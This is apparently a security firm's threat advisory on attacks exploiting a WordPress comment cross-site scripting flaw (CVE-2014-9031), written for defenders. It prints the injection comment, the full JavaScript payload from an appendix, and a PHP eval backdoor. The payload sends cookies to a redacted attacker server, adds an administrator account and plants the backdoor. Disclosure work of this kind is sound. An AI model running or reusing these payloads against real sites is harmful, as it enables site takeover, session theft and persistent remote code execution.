NETTITUDE

Threat Advisory

WordPress Comment XSS

Authored by Adam Williams

04 June 2015

Version 1.0

2014 Computing Security Awards WINNER Security Service Provider of the Year

SC MAGAZINE AWARDS 2015 Europe FINALIST

CREST

CHECK IT Health Check Service

PCI Security Standards Council ™

NETTITUDE R&D RESEARCH AND DEVELOPMENT

1 THREAT ADVISORY CONTENTS

2 EXECUTIVE SUMMARY

2.1 Top Level Description

This document contains technical and summary information about recent attacks observed by Nettitude utilising existing and known vulnerabilities in the WordPress blogging and publishing platform. On a vulnerable installation the exploitation process described can result in a complete compromise of the target system.

According to statistics publically disclosed by WordPress[1], over 16% (or potentially up to ~9.4 million installs[2]) of all recorded WordPress installs may be vulnerable to this attack vector. Searching the internet for indicators of failed attempts to exploit this vulnerability and use this specific payload returns in excess of 8,000 pages using Google. This value does not include failed attempts that are not visible either because the evidence has been removed, or was caught in non-accessible areas such as moderation or spam queues.

2.2 Summary

The issue described allows an attacker whom is able to post content to a WordPress installation, such as via a comment or blog entry, to craft a message that will bypass data sanitisation methods and potentially inject arbitrary JavaScript into the website. When a user views a page that contains this specially crafted message, the attacker's JavaScript is able to interact with the site as if it were that user. This is referred to as a Cross-Site scripting (XSS) vulnerability.

In a typical use-case, many WordPress blogs allow comments to be submitted either anonymously or after a loose registration process. An attacker taking advantage of this posts a specially crafted message that will eventually be loaded into the web browser of a user with administration rights (whether this is in the blog entry, a moderation queue or spam filter is irrelevant). This message creates a full-screen, transparent object which sits on top of all other window elements and executes the attacker's payload when the mouse moves over it.

The XSS payload described will, if entirely successful, compromise the website in the following ways:

- A new administration user will be added
- The server will have a back-door installed
- WordPress SPAM filtering will be rendered non-functional
- The viewing user's cookie stolen and potentially used for later session hijacking

[1] WordPress Summary Stats, https://wordpress.org/about/stats/
[2] Correlating percentage in (1) against Counter for WordPress 4.2, https://wordpress.org/download/counter/

3 TECHNICAL DETAILS

3.1 Delivery and Infection Vectors

The initial payload is injected in to a vulnerable WordPress installation using CVE-2014-9031.

> *Cross-site scripting (XSS) vulnerability in the wptexturize function in WordPress before 3.7.5, 3.8.x before 3.8.5, and 3.9.x before 3.9.3 allows remote attackers to inject arbitrary web script or HTML via crafted use of shortcode brackets in a text field, as demonstrated by a comment or a post*[3].

According to the original discloser, this vulnerability was first reported to the WordPress Foundation on the 26-09-2014, with a patch following two months later on 20-11-2014. This issue allows an attacker to craft a message using angular and square brackets which passes sanitization and misuses the `wptexturize()` function to reconstructed a functional JavaScript HTML attribute such as "`onmouseover`" after server-side processing.

The use case applied during the attacks observed by Nettitude utilised this vulnerability to attach `onmouseever` and `style` attributes to an HTML `<blockquote>` element. The injection body used is cited below, the attacker's call-back domain has been redacted for confidentiality purposes.

```
[good]<br /><blockquote cite="]">["onmouseover="var s98 =
document.createElement('script'); s98.type = 'text/javascript'; s98.async =
true;s98.src = String.fromCharCode(
                                                    )+window.location.host;var n54 =
document.getElementsByTagName('script').item(0);n54.appendChild(s98);this.style.
display='none';" style=&#8221;position:fixed;left:0px;top:0px;width:100%;
height:100%;z-index:10000;display:block" ]</p></blockquote>
```

In a vulnerable version of WordPress, the cited body will inject a JavaScript call-back for the mouse over event of the `<blockquote>` element. This callback will injects a `<script>` tag into the active page sourced from an attacker controller server and includes the hostname of the compromised site, assumedly for logging purposes. The `<blockquote>` object is applied a CSS style that should cause it to not be rendered, sit on top of all other DOM elements and cover the entire screen. This almost guarantees the call-back will be invoked by a viewer on a successful injection attempt.

3.1.1 CVE History

(26th Spetember2014) Reported to WordPress
(20th November 2014) WordPress Patch https://wordpress.org/news/2014/11/wordpress-4-0-1/
(20th November 2014) Publically Announced https://klikki.fi/adv/wordpress_press.html
(20th November 2014) Technical Advisory https://klikki.fi/adv/wordpress.html
(25th November 2014) CVE Released - CVE-2014-9031
(28th November 2014) POC Released: http://habrahabr.ru/company/pt/blog/244447/

[3] CVE-2014-9031 description from MITRE, https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9031

3.2 Characteristics

Once a compromised page is viewed the above infection vector describes how a remote script is injected into the page. The following section describes the behaviour and content of the JavaScript file injected during the attacks observed by Nettitude. The full content body can be seen in the appendix at the end of this document.

The follow actions are performed by this file.

1. The default address of the `/wp-admin/` directory is constructed. This directory contains the administrative components of a standard WordPress installation.
2. An attempt to detect jQuery is made by determining whether the `jQuery` variable is defined. The exploit uses this JavaScript framework to simplify the remainder of the payload. If jQuery is not detected, this exploit injects another script from the attacker controller server and this exploit ends. In the observed attacks, this third stage is an exact duplicate of the current exploit with a compressed version of jQuery framework prefixed and this check omitted.
3. The browser performs an HTTP request to the `/wp-admin/user-new.php` page. When the response is returned it is examined for a single-use token stored in a hidden `<input>` element with an ID attribute of "_wpnonce_create-user". This token is required to create a new user. If it is not found the next two steps are not executed; instead execution resumes at step 6.
4. The current cookie is sent to the attacker controlled server with a "user" label assigned to it. This label appears to be used to identify the stage of the attack at which the cookie was stolen. It is expected that this cookie is stored with the intention to later use this cookie for session hijacking.
5. The token obtained in step 3 is used to send a POST request to `/wp-admin/user-new.php` creating a new user in the WordPress administration group. The user is created with the attributes defined in the following table:

Username:	us_editorck
E-mail:	us_editorck@[redacted].com
Password:	asdfasdf

6. The browser performs an HTTP request to the `/wp-admin/plugin-editor.php` page. This page is used to modify installed templates, specifically the "Akismet" plugin is target. "Akismet" is a plugin that ships with WordPress and delegates responsibility for comment spam protection. When the response is returned it is examined for a single-use token stored in a hidden `<input>` element with an ID attribute of "_wpnonce". This token is required to modify an installed plugin. If it is not found the next two steps are not executed and execution now ends.
7. The current cookie is sent to the attacker controlled server with a "shell" label assigned to it. This label appears to be used to identify the stage of the attack at which the cookie was stolen. It is expected that this cookie is stored with the intention to use this cookie at a later date for session hijacking.

8. The token obtained in step 6 is used to send a POST request to the the `/wp-admin/plugin-editor.php` page. This action is intended to replace the "Akismet" plugin with a simple shell backdoor. The backdoor is enabled on any pages on which the "Akismet" plugin is used and will automatically execute and PHP instructions posted in the "mmcer" variable. The implementation is shown below, and is obfuscated in the original JavaScript payload:

```
<?php eval(@$_POST['mmcer']);?>
```

In summary, if the comment is viewed by a user with administration permissions in a vulnerable version of WordPress, it is highly likely that the following behaviours will be observed:

- A new user will be added to the administration group of the WordPress installation
- A backdoor allowing commands to be executed in the context of the web server user will be installed if the plugin directory is writeable
- If the above is successful, the spam filtering capabilities of the site will be effectively disabled
- Your cookie will be captured and could be used for session hijacking

3.3 Mitigation

The safest and strongest recommendation for mitigating this vulnerability is to ensure that your WordPress installation is up-to-date. The latest versions of WordPress are not vulnerable to the exploitation method used in this advisory. You can determine if your installation is up to date by logging in to your account's administration interface. While in an administration interface, an update message will be displayed notifying you of an updates availability where one exists.

More comprehensive information about updating your WordPress installation can be found on the WordPress website:

```
https://codex.wordpress.org/Updating_WordPress
```

4 CYBER RESEARCH AND DEVELOPMENT

Nettitude delivers advanced cyber innovation through dedicated research and development programmes. We run internally funded streams of work alongside customer projects, grant funded and collaborative missions.

As well as an internally dedicated team, we have developed strategic partnerships with academic centres of excellence for cyber security. This includes joint project work, sponsored PhD's and supported MSc projects. We also engage in teaching and lecturing for both customers and academic partners.

Our current areas of focus include:

- Cyber Threat Intelligence/IOC database/analytics
- Malware capture and analysis
- Advanced Security Operations Centres (ASOC) development
- Zero day/vulnerability analysis/reverse engineering
- Exploit writing
- IoT, smart grids/cities and connected vehicles
- ICS/SCADA defence and monitoring
- Insider Threat Detection
- Creation of specific tools
- Network data analysis

We conduct specific projects and grant funded work and can deliver a focused project, development or targeted research into an area within your industry or sector.

We can provide more details and talk to you about specific projects that are relevant to both you and your sector. Funding options can also be explored.

5 APPENDIX I: JAVASCRIPT PAYLOAD

The following text is the content of the JavaScript payload returned by the attacker controlled server, in full. The attacker's domain has been redacted for confidentiality purposes.

```
var curl=location.href;
if(curl.indexOf("?")>-1) curl=curl.substring(0,curl.indexOf("?"));
var blogadmindir=curl.substring(0,curl.lastIndexOf("/")+1);
if(blogadmindir.indexOf("wp-admin")==-1) blogadmindir+="wp-admin/";

function insertjs(url){
  var scriptga = document.createElement('script'); scriptga.type =
'text/javascript'; scriptga.async = true;
  scriptga.src = url;
  var scripts = document.getElementsByTagName('script').item(0);
  scripts.parentNode.insertBefore(scriptga, scripts);
}

function getadmincookie(type){
  var u='[redacted]/xss/c.php';
  var x=new Image();
  x.src=u+'?u='+document.URL+'&c='+document.cookie+'&r='+type;
}

if(typeof(jQuery)=="undefined") {
insertjs([redacted]/xss/wj.js);
}else{

//add user
var adduserurl =blogadmindir+"user-new.php";
jQuery.ajax({
 url: adduserurl,
 type: 'GET',
 dataType: 'html',
 data: {},
})
.done(function(data) {
 var temp = jQuery(data);
 var Xtoken = "";
 temp.find('input#_wpnonce_create-user').each(function(i,o){
   var o=jQuery(o);
   Xtoken=o.attr('value');
 });
 if(Xtoken!="") getadmincookie("user");
 jQuery.ajax({
   url: adduserurl,
   type: 'POST',
   data: {'action': 'createuser','_wpnonce_create-
user':Xtoken,'user_login':'us_editorck','email':'us_editorck@[redacted].com','first
_name':'','last_name':'','url':'','pass1':'asdfasdf','pass2':'asdfasdf','role':'
administrator','createuser':'Add+New+User+'}
 })
 .done(function(){
   console.log('ok');
   return;
 })
})
.fail(function() {
 console.log("error");
```

```
})
.always(function() {
 return;
});

//getshell
var pluginsurl = blogadmindir+"plugin-
editor.php?file=akismet/index.php&plugin=akismet/akismet.php";
var shellcontent=String.fromCharCode(60, 63, 112, 104, 112, 32, 101, 118, 97,
108, 40, 64, 36, 95, 80, 79, 83, 84, 91, 39, 109, 109, 99, 101, 114, 39, 93, 41,
59, 63, 62);

jQuery.ajax({
 url: pluginsurl,
 type: 'GET',
 dataType: 'html',
 data: {},
})
.done(function(data) {
 var plugins_temp = jQuery(data);
 var plugins_token = "";
 plugins_temp.find('input#_wpnonce').each(function(i,plugins_o){
   var plugins_o=jQuery(plugins_o);
   plugins_token=plugins_o.attr('value');
 });
 if(plugins_token!="") getadmincookie("shell");
 jQuery.ajax({
   url: pluginsurl,
   type: 'POST',
   data: {'action':
'update','_wpnonce':plugins_token,'_wp_http_referer':blogadmindir+'wp-
admin/plugin-
editor.php?file=akismet/index.php','plugin':'akismet/akismet.php','newcontent':s
hellcontent,'file':'akismet/index.php','scrollto':'0','submit':'Update+File'}
 })
 .done(function(){
   console.log('ok');
   return;
 })
})
.fail(function() {
 console.log("error");
})
.always(function() {
 return;
});
}
```

6 CONTACT INFORMATION

6.1 Nettitude Limited:

1 Jephson Court,

Tancred Close,

Leamington Spa,

Warwickshire

CV31 3RZ

T +44 (0)845-5200-085

E solutions@nettitude.com

W www.nettitude.co.uk

6.2 Nettitude Inc:

85 Broad Street,

17th Floor,

New York

NY10004

T +01 212-335-2238

E solutions@nettitude.com

W www.nettitude.com